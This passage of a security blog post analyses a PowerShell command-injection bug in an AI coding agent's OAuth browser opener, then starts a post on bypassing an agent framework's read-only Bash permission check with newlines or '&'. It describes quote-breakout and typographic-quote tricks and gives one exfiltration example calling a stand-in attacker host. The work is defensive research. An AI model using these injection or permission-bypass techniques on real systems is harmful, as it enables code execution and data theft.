&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Sink style&lt;/th&gt;
&lt;th&gt;Raw string&lt;/th&gt;
&lt;th&gt;After &lt;code&gt;new URL().href&lt;/code&gt;
&lt;/th&gt;
&lt;th&gt;Variable leak (&lt;code&gt;$env:USERNAME&lt;/code&gt; expanded)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;A: double-quoted, &lt;code&gt;open&lt;/code&gt; 10.1.2 shape&lt;/td&gt;
&lt;td&gt;2 of 4 (subexpression, &lt;code&gt;"&lt;/code&gt; breakout)&lt;/td&gt;
&lt;td&gt;1 of 4 (subexpression)&lt;/td&gt;
&lt;td&gt;Yes, both&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;D: single-quoted, no escaping&lt;/td&gt;
&lt;td&gt;2 of 4 (&lt;code&gt;'&lt;/code&gt; breakout, U+2019 breakout)&lt;/td&gt;
&lt;td&gt;1 of 4 (&lt;code&gt;'&lt;/code&gt; breakout)&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;C: single-quoted, ASCII &lt;code&gt;'&lt;/code&gt; doubled&lt;/td&gt;
&lt;td&gt;1 of 4 (U+2019 breakout)&lt;/td&gt;
&lt;td&gt;0 of 4&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;B: &lt;code&gt;open&lt;/code&gt; 11.0.4 &lt;code&gt;escapeArgument&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;0 of 4&lt;/td&gt;
&lt;td&gt;0 of 4&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;E: URL passed in an environment variable&lt;/td&gt;
&lt;td&gt;0 of 4&lt;/td&gt;
&lt;td&gt;0 of 4&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%3Fw%3D1000%26h%3D420%26bkg%3Dwhite%26c%3D%257B%2522type%2522%253A%2522bar%2522%252C%2522data%2522%253A%257B%2522labels%2522%253A%255B%2522double-quoted%2520%2528open%252010.1.2%2529%2522%252C%2522single-quoted%252C%2520no%2520escaping%2522%252C%2522single-quoted%252C%2520ASCII%2520%2527%2520doubled%2522%252C%2522open%252011.0.4%2520escapeArgument%2522%252C%2522URL%2520in%2520env%2520var%2522%255D%252C%2522datasets%2522%253A%255B%257B%2522label%2522%253A%2522raw%2520URL%2520string%2522%252C%2522data%2522%253A%255B2%252C2%252C1%252C0%252C0%255D%252C%2522backgroundColor%2522%253A%2522%2523dc2626%2522%257D%252C%257B%2522label%2522%253A%2522after%2520new%2520URL%2528...%2529.href%2522%252C%2522data%2522%253A%255B1%252C1%252C0%252C0%252C0%255D%252C%2522backgroundColor%2522%253A%2522%2523f59e0b%2522%257D%255D%257D%252C%2522options%2522%253A%257B%2522title%2522%253A%257B%2522display%2522%253Atrue%252C%2522text%2522%253A%2522Injection%2520payloads%2520that%2520executed%2520code%2520%2528of%25204%252C%2520all%2520valid%2520https%2520URLs%2529%2522%252C%2522fontSize%2522%253A17%257D%252C%2522scales%2522%253A%257B%2522yAxes%2522%253A%255B%257B%2522ticks%2522%253A%257B%2522beginAtZero%2522%253Atrue%252C%2522stepSize%2522%253A1%252C%2522max%2522%253A4%257D%252C%2522scaleLabel%2522%253A%257B%2522display%2522%253Atrue%252C%2522labelString%2522%253A%2522payloads%2520that%2520ran%2522%257D%257D%255D%257D%257D%257D" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%3Fw%3D1000%26h%3D420%26bkg%3Dwhite%26c%3D%257B%2522type%2522%253A%2522bar%2522%252C%2522data%2522%253A%257B%2522labels%2522%253A%255B%2522double-quoted%2520%2528open%252010.1.2%2529%2522%252C%2522single-quoted%252C%2520no%2520escaping%2522%252C%2522single-quoted%252C%2520ASCII%2520%2527%2520doubled%2522%252C%2522open%252011.0.4%2520escapeArgument%2522%252C%2522URL%2520in%2520env%2520var%2522%255D%252C%2522datasets%2522%253A%255B%257B%2522label%2522%253A%2522raw%2520URL%2520string%2522%252C%2522data%2522%253A%255B2%252C2%252C1%252C0%252C0%255D%252C%2522backgroundColor%2522%253A%2522%2523dc2626%2522%257D%252C%257B%2522label%2522%253A%2522after%2520new%2520URL%2528...%2529.href%2522%252C%2522data%2522%253A%255B1%252C1%252C0%252C0%252C0%255D%252C%2522backgroundColor%2522%253A%2522%2523f59e0b%2522%257D%255D%257D%252C%2522options%2522%253A%257B%2522title%2522%253A%257B%2522display%2522%253Atrue%252C%2522text%2522%253A%2522Injection%2520payloads%2520that%2520executed%2520code%2520%2528of%25204%252C%2520all%2520valid%2520https%2520URLs%2529%2522%252C%2522fontSize%2522%253A17%257D%252C%2522scales%2522%253A%257B%2522yAxes%2522%253A%255B%257B%2522ticks%2522%253A%257B%2522beginAtZero%2522%253Atrue%252C%2522stepSize%2522%253A1%252C%2522max%2522%253A4%257D%252C%2522scaleLabel%2522%253A%257B%2522display%2522%253Atrue%252C%2522labelString%2522%253A%2522payloads%2520that%2520ran%2522%257D%257D%255D%257D%257D%257D" alt="Chart: injection payloads that executed code per sink style, raw versus normalized" width="2000" height="840"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Four things in that table are worth slowing down for.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Normalization helps, and it is not the fix.&lt;/strong&gt; WHATWG URL parsing percent-encodes the double quote and non-ASCII characters in a path, so &lt;code&gt;"&lt;/code&gt; became &lt;code&gt;%22&lt;/code&gt; and the typographic quote became &lt;code&gt;%E2%80%99&lt;/code&gt;. That killed the double-quote and typographic-quote payloads. But &lt;code&gt;$&lt;/code&gt;, parentheses, brackets, semicolons and the ASCII apostrophe pass through untouched, so the subexpression still ran on sink A and the apostrophe breakout still ran on sink D. This lines up with the write-up's observation that the real closure came from the dependency upgrade and not from the scheme check.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The variable leak survives everything except real escaping.&lt;/strong&gt; &lt;code&gt;https://evil.test/$env:USERNAME&lt;/code&gt; is not code execution, but the browser would be sent to the attacker's host with my account name in the path. That is an exfiltration channel with no code run at all, and it survived normalization on sink A.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;"Use single quotes" is the patch people reach for, and it fails twice.&lt;/strong&gt; Sink D stops &lt;code&gt;$(...)&lt;/code&gt; expansion, which is the headline payload. It still breaks on an apostrophe, because the apostrophe is the string terminator now. Sink C fixes that by doubling the ASCII apostrophe, and it still ran one payload.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The one that got through sink C is the instructive one.&lt;/strong&gt; Windows PowerShell's tokenizer treats the typographic single quotes U+2018, U+2019, U+201A and U+201B as string delimiters, exactly like the ASCII one. Escaping only the ASCII character leaves four other characters that can end the string. The comment in &lt;code&gt;powershell-utils&lt;/code&gt; 0.2.1 says exactly this, and my run confirms it on 5.1: &lt;code&gt;escapeArgument&lt;/code&gt; doubles all five characters, and that is the version of the logic that ran 0 of 4.&lt;/p&gt;

&lt;h2&gt;
  
  
  Does the fix cost anything in correctness?
&lt;/h2&gt;

&lt;p&gt;Yes, and that is the second reason to fix the sink and not the input. The same unescaped sinks that are exploitable also damage ordinary URLs.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%3Fw%3D800%26h%3D400%26bkg%3Dwhite%26c%3D%257B%2522type%2522%253A%2522bar%2522%252C%2522data%2522%253A%257B%2522labels%2522%253A%255B%2522double-quoted%2520%2528open%252010.1.2%2529%2522%252C%2522single-quoted%252C%2520no%2520escaping%2522%252C%2522single-quoted%252C%2520ASCII%2520%2527%2520doubled%2522%252C%2522open%252011.0.4%2520escapeArgument%2522%252C%2522URL%2520in%2520env%2520var%2522%255D%252C%2522datasets%2522%253A%255B%257B%2522label%2522%253A%2522legitimate%2520URLs%2520corrupted%2520%2528of%25204%2529%2522%252C%2522data%2522%253A%255B2%252C1%252C0%252C0%252C0%255D%252C%2522backgroundColor%2522%253A%2522%25232563eb%2522%257D%255D%257D%252C%2522options%2522%253A%257B%2522title%2522%253A%257B%2522display%2522%253Atrue%252C%2522text%2522%253A%2522The%2520correctness%2520bug%253A%2520ordinary%2520URLs%2520mangled%2520by%2520the%2520same%2520sinks%2522%252C%2522fontSize%2522%253A17%257D%252C%2522legend%2522%253A%257B%2522display%2522%253Afalse%257D%252C%2522scales%2522%253A%257B%2522yAxes%2522%253A%255B%257B%2522ticks%2522%253A%257B%2522beginAtZero%2522%253Atrue%252C%2522stepSize%2522%253A1%252C%2522max%2522%253A4%257D%252C%2522scaleLabel%2522%253A%257B%2522display%2522%253Atrue%252C%2522labelString%2522%253A%2522URLs%2520changed%2522%257D%257D%255D%257D%257D%257D" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%3Fw%3D800%26h%3D400%26bkg%3Dwhite%26c%3D%257B%2522type%2522%253A%2522bar%2522%252C%2522data%2522%253A%257B%2522labels%2522%253A%255B%2522double-quoted%2520%2528open%252010.1.2%2529%2522%252C%2522single-quoted%252C%2520no%2520escaping%2522%252C%2522single-quoted%252C%2520ASCII%2520%2527%2520doubled%2522%252C%2522open%252011.0.4%2520escapeArgument%2522%252C%2522URL%2520in%2520env%2520var%2522%255D%252C%2522datasets%2522%253A%255B%257B%2522label%2522%253A%2522legitimate%2520URLs%2520corrupted%2520%2528of%25204%2529%2522%252C%2522data%2522%253A%255B2%252C1%252C0%252C0%252C0%255D%252C%2522backgroundColor%2522%253A%2522%25232563eb%2522%257D%255D%257D%252C%2522options%2522%253A%257B%2522title%2522%253A%257B%2522display%2522%253Atrue%252C%2522text%2522%253A%2522The%2520correctness%2520bug%253A%2520ordinary%2520URLs%2520mangled%2520by%2520the%2520same%2520sinks%2522%252C%2522fontSize%2522%253A17%257D%252C%2522legend%2522%253A%257B%2522display%2522%253Afalse%257D%252C%2522scales%2522%253A%257B%2522yAxes%2522%253A%255B%257B%2522ticks%2522%253A%257B%2522beginAtZero%2522%253Atrue%252C%2522stepSize%2522%253A1%252C%2522max%2522%253A4%257D%252C%2522scaleLabel%2522%253A%257B%2522display%2522%253Atrue%252C%2522labelString%2522%253A%2522URLs%2520changed%2522%257D%257D%255D%257D%257D%257D" alt="Chart: legitimate URLs corrupted per sink style" width="1600" height="800"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;On sink A, &lt;code&gt;https://shop.example/p?price=$100&amp;amp;cur=usd&lt;/code&gt; arrived as &lt;code&gt;https://shop.example/p?price=&amp;amp;cur=usd&lt;/code&gt; because PowerShell read &lt;code&gt;$100&lt;/code&gt; as a variable that has no value, and &lt;code&gt;https://example.com/a/$value/b&lt;/code&gt; became &lt;code&gt;https://example.com/a//b&lt;/code&gt;. On sink D, the URL &lt;code&gt;https://docs.example/it's-here&lt;/code&gt; was a parse error and nothing ran at all. Sinks C, B and E delivered all four ordinary URLs byte for byte. A defensive fix that also repairs real links is easier to justify in review than one that only closes a hypothetical attack, and this is a case where both arguments point the same direction.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%3Fw%3D800%26h%3D400%26bkg%3Dwhite%26c%3D%257B%2522type%2522%253A%2522horizontalBar%2522%252C%2522data%2522%253A%257B%2522labels%2522%253A%255B%2522Private%2520report%2520%2528Aug%252029%2529%2522%252C%2522open%252011.0.4%2520published%2520%2528Sep%252014%2529%2522%252C%2522opencode%25201.18.33%2520released%2520%2528Sep%252028%2529%2522%252C%2522Public%2520write-up%2520%2528Oct%252019%2529%2522%252C%2522Today%2520%2528Nov%25207%2529%2522%255D%252C%2522datasets%2522%253A%255B%257B%2522label%2522%253A%2522days%2520since%2520report%2522%252C%2522data%2522%253A%255B0%252C16%252C30%252C51%252C70%255D%252C%2522backgroundColor%2522%253A%2522%25237c3aed%2522%257D%255D%257D%252C%2522options%2522%253A%257B%2522title%2522%253A%257B%2522display%2522%253Atrue%252C%2522text%2522%253A%2522Timeline%2520of%2520a%2520fix%2520with%2520no%2520CVE%252C%2520in%2520days%2520since%2520the%2520report%2522%252C%2522fontSize%2522%253A17%257D%252C%2522legend%2522%253A%257B%2522display%2522%253Afalse%257D%252C%2522scales%2522%253A%257B%2522xAxes%2522%253A%255B%257B%2522ticks%2522%253A%257B%2522beginAtZero%2522%253Atrue%257D%252C%2522scaleLabel%2522%253A%257B%2522display%2522%253Atrue%252C%2522labelString%2522%253A%2522days%2522%257D%257D%255D%257D%257D%257D" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%3Fw%3D800%26h%3D400%26bkg%3Dwhite%26c%3D%257B%2522type%2522%253A%2522horizontalBar%2522%252C%2522data%2522%253A%257B%2522labels%2522%253A%255B%2522Private%2520report%2520%2528Aug%252029%2529%2522%252C%2522open%252011.0.4%2520published%2520%2528Sep%252014%2529%2522%252C%2522opencode%25201.18.33%2520released%2520%2528Sep%252028%2529%2522%252C%2522Public%2520write-up%2520%2528Oct%252019%2529%2522%252C%2522Today%2520%2528Nov%25207%2529%2522%255D%252C%2522datasets%2522%253A%255B%257B%2522label%2522%253A%2522days%2520since%2520report%2522%252C%2522data%2522%253A%255B0%252C16%252C30%252C51%252C70%255D%252C%2522backgroundColor%2522%253A%2522%25237c3aed%2522%257D%255D%257D%252C%2522options%2522%253A%257B%2522title%2522%253A%257B%2522display%2522%253Atrue%252C%2522text%2522%253A%2522Timeline%2520of%2520a%2520fix%2520with%2520no%2520CVE%252C%2520in%2520days%2520since%2520the%2520report%2522%252C%2522fontSize%2522%253A17%257D%252C%2522legend%2522%253A%257B%2522display%2522%253Afalse%257D%252C%2522scales%2522%253A%257B%2522xAxes%2522%253A%255B%257B%2522ticks%2522%253A%257B%2522beginAtZero%2522%253Atrue%257D%252C%2522scaleLabel%2522%253A%257B%2522display%2522%253Atrue%252C%2522labelString%2522%253A%2522days%2522%257D%257D%255D%257D%257D%257D" alt="Chart: days since report for the opencode fix and write-up" width="1600" height="800"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What should an agent builder do about this class of bug?
&lt;/h2&gt;

&lt;p&gt;The pattern is not specific to PowerShell or to opencode. Any time model-influenced or server-influenced text is embedded into a string that another interpreter will read (a shell, a PowerShell command, a SQL string, a template, an &lt;code&gt;eval&lt;/code&gt;), the text crosses a trust boundary that your input validation does not see. Four rules follow from the measurements above.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Escape or separate at the sink, never only at the source.&lt;/strong&gt; The fix that held was &lt;code&gt;escapeArgument&lt;/code&gt; at the point the command text is assembled, and the other fix that held took the string out of the command text entirely.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Prefer data channels to code channels.&lt;/strong&gt; Sink E never puts the URL in the command. The command text is constant, and the URL travels in an environment variable or an argument vector. There is nothing to escape because there is no parse step.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Treat discovery metadata as attacker-controlled input.&lt;/strong&gt; The server being authenticated chose the &lt;code&gt;authorization_endpoint&lt;/code&gt;. Binding OAuth endpoints to the origin you configured, as the write-up recommends, removes the attacker's freedom to pick any host and any path.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Do not rely on advisories to learn your exposure.&lt;/strong&gt; This was fixed without a CVE. Pin and inventory the browser-opener and shell-launcher dependencies in your agent tooling directly, and read their changelogs.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Here is the launcher shape I would use on Windows. I confirmed the principle with an echo-style test (a URL carrying a &lt;code&gt;$(...)&lt;/code&gt; payload, a &lt;code&gt;$env:&lt;/code&gt; reference and an apostrophe came out byte for byte identical, and the marker file was not created), but I did not launch a browser from it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;spawn&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;node:child_process&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;PS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;openUrl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;raw&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;u&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;URL&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;raw&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;                       &lt;span class="c1"&gt;// reject unparseable input&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;http:&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https:&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;includes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;u&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;protocol&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;scheme not allowed&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;spawn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;PS&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;-NoProfile&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;-NonInteractive&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;-Command&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Start-Process -FilePath $env:OPEN_TARGET&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;env&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{...&lt;/span&gt;&lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;OPEN_TARGET&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;u&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;href&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;  &lt;span class="c1"&gt;// data, not code&lt;/span&gt;
    &lt;span class="na"&gt;stdio&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;ignore&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Keep the scheme check. It is still a sensible layer, and it is what stops &lt;code&gt;file:&lt;/code&gt; and UNC paths from reaching the launcher. Just do not mistake it for the layer that stops injection.&lt;/p&gt;

&lt;h2&gt;
  
  
  What are the limits of this test?
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;I did not run opencode, and I did not run the real &lt;code&gt;open&lt;/code&gt; launcher. I rebuilt the string construction from the published 10.1.2 source and ran it against a stand-in function. The real package may have details I did not reproduce.&lt;/li&gt;
&lt;li&gt;One machine, Windows PowerShell 5.1 only. PowerShell 7 and the WSL path were not tested.&lt;/li&gt;
&lt;li&gt;Five payloads and four ordinary URLs. The counts show which sink styles fail, not how many ways each can fail.&lt;/li&gt;
&lt;li&gt;The facts about the disclosure timeline, the affected range and the missing CVE come from the Pillar Security write-up. The release date of 1.18.33, the merge of the opencode pull request #51414 on 2026-09-25, and the &lt;code&gt;open&lt;/code&gt; 11.0.4 publish date of 2026-09-14 are from the GitHub and npm APIs. The &lt;code&gt;open&lt;/code&gt; package had about 223 million downloads in the week ending 2026-11-05 per the npm API.&lt;/li&gt;
&lt;li&gt;The injected code only wrote a marker file into the temp directory. I removed those files after each run.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  FAQ
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Is a valid https URL safe to pass to a shell?&lt;/strong&gt;&lt;br&gt;
No. URL validity is about the URL grammar. Characters such as &lt;code&gt;$&lt;/code&gt;, parentheses, semicolons and apostrophes are legal in a path and are meaningful to PowerShell and to POSIX shells. Safety depends on how the string is embedded, so escape at the sink or pass it as data.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Was opencode on macOS or Linux affected?&lt;/strong&gt;&lt;br&gt;
Per the write-up, only Windows and WSL, because that is where &lt;code&gt;open&lt;/code&gt; builds a PowerShell command. In the &lt;code&gt;open&lt;/code&gt; source I read, the other platforms spawn the opener program with the URL as a separate argument.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Does updating to opencode 1.18.33 or later fix it?&lt;/strong&gt;&lt;br&gt;
According to the write-up, yes: the fix bumped &lt;code&gt;open&lt;/code&gt; from 10.1.2 to 11.0.4 and added scheme checks. My test agrees that the dependency's escaping is the part that holds, since scheme checks plus normalization alone still left the subexpression payload running on the old sink shape.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How do I find similar bugs in my own agent tooling?&lt;/strong&gt;&lt;br&gt;
List every place text from a model, a tool result or a remote server is concatenated into a command string. For each, write down which interpreter reads it, then test it with a harmless marker payload for that interpreter. The harness above is under 100 lines.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why does a bug without a CVE matter for agent security?&lt;/strong&gt;&lt;br&gt;
Because vulnerability management usually starts from advisories. A fix released as a refactor leaves no advisory to trigger an upgrade, so the exposure window lasts as long as nobody reads the changelog.&lt;/p&gt;

&lt;h2&gt;
  
  
  Further reading
&lt;/h2&gt;

&lt;p&gt;Earlier posts in this series:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The "Read-Only" Fast Path Is Your Weakest Gate: A Newline Let Hidden Commands Through an Agent's Bash Check (published 2026-11-05, same series)&lt;/li&gt;
&lt;li&gt;The Model Is Not a Security Boundary: What Two Semantic Kernel CVEs Teach About Gating Tool Arguments (published 2026-10-21, same series)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Sources
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Pillar Security, "Open and shut: remote code execution in opencode via MCP OAuth" (2026-10-19): &lt;a href="https://www.pillar.security/blog/open-and-shut-remote-code-execution-in-opencode-via-mcp-oauth" rel="noopener noreferrer"&gt;https://www.pillar.security/blog/open-and-shut-remote-code-execution-in-opencode-via-mcp-oauth&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;open&lt;/code&gt; npm package, versions 10.1.2 and 11.0.4, and &lt;code&gt;powershell-utils&lt;/code&gt; 0.2.1 (published source and registry metadata)&lt;/li&gt;
&lt;li&gt;opencode pull request #51414 and the v1.18.33 release (GitHub API)&lt;/li&gt;
&lt;li&gt;RFC 8414, OAuth 2.0 Authorization Server Metadata&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>ai</category>
      <category>programming</category>
      <category>security</category>
      <category>agents</category>
    </item>
    <item>
      <title>The "Read-Only" Fast Path Is Your Weakest Gate: A Newline Let Hidden Commands Through an Agent's Bash Check</title>
      <dc:creator>hugginf_expert</dc:creator>
      <pubDate>Thu, 05 Nov 2026 14:54:58 +0000</pubDate>
      <link>https://dev.to/ginigenai_hp_0ae441ead91f/the-read-only-fast-path-is-your-weakest-gate-a-newline-let-hidden-commands-through-an-agents-54n7</link>
      <guid>https://dev.to/ginigenai_hp_0ae441ead91f/the-read-only-fast-path-is-your-weakest-gate-a-newline-let-hidden-commands-through-an-agents-54n7</guid>
      <description>&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;What I tested:&lt;/strong&gt; the Bash permission check in AgentScope 2.0.11 (the latest PyPI release, published 2026-10-27), the open-source multi-agent framework. Its &lt;code&gt;check_permissions&lt;/code&gt; function auto-allows any command it classifies as read-only, in every permission mode including the default one, and skips the dangerous-command checks that come after it.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;What I found:&lt;/strong&gt; the classifier only treats a string as compound when it contains &lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt;, &lt;code&gt;||&lt;/code&gt;, &lt;code&gt;;&lt;/code&gt; or &lt;code&gt;|&lt;/code&gt;. A plain &lt;code&gt;&amp;amp;&lt;/code&gt; or a newline also ends a command in bash, but is not on that list. In my run, &lt;strong&gt;40 of 70 two-command strings were auto-allowed, and in all 40 the second command actually ran&lt;/strong&gt; when I handed the same string to bash. All 28 strings using &lt;code&gt;;&lt;/code&gt;, &lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt;, &lt;code&gt;||&lt;/code&gt; or &lt;code&gt;|&lt;/code&gt; were caught.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The status:&lt;/strong&gt; this is a publicly reported bug, not a new disclosure. Issue #2470 has been open since 2026-08-31 (66 days on the day I ran this), and a second report, #3473, was filed on 2026-10-25. On 2026-11-05 the latest release still reproduced it.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The fix I tested:&lt;/strong&gt; a deliberately blunt gate that auto-allows only plain words from a short command list and asks about everything else. It let &lt;strong&gt;0 of the 70&lt;/strong&gt; through. It also asked about 6 of 16 ordinary read-only commands, and that cost is the real design decision.&lt;/li&gt;
&lt;li&gt;Everything below was run on 2026-11-05. One machine, one package version, stated plainly. No destructive command was ever executed.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Why is a read-only fast path a security gate at all?
&lt;/h2&gt;

&lt;p&gt;Agent frameworks that let a model call a shell need to avoid asking the user about every &lt;code&gt;ls&lt;/code&gt;. So they add a fast path: if a command looks read-only, allow it without confirmation. That is a sensible usability decision. It is also the single code path that runs &lt;em&gt;without a human&lt;/em&gt;, which makes it the place an attacker (or a confused model) most wants to be.&lt;/p&gt;

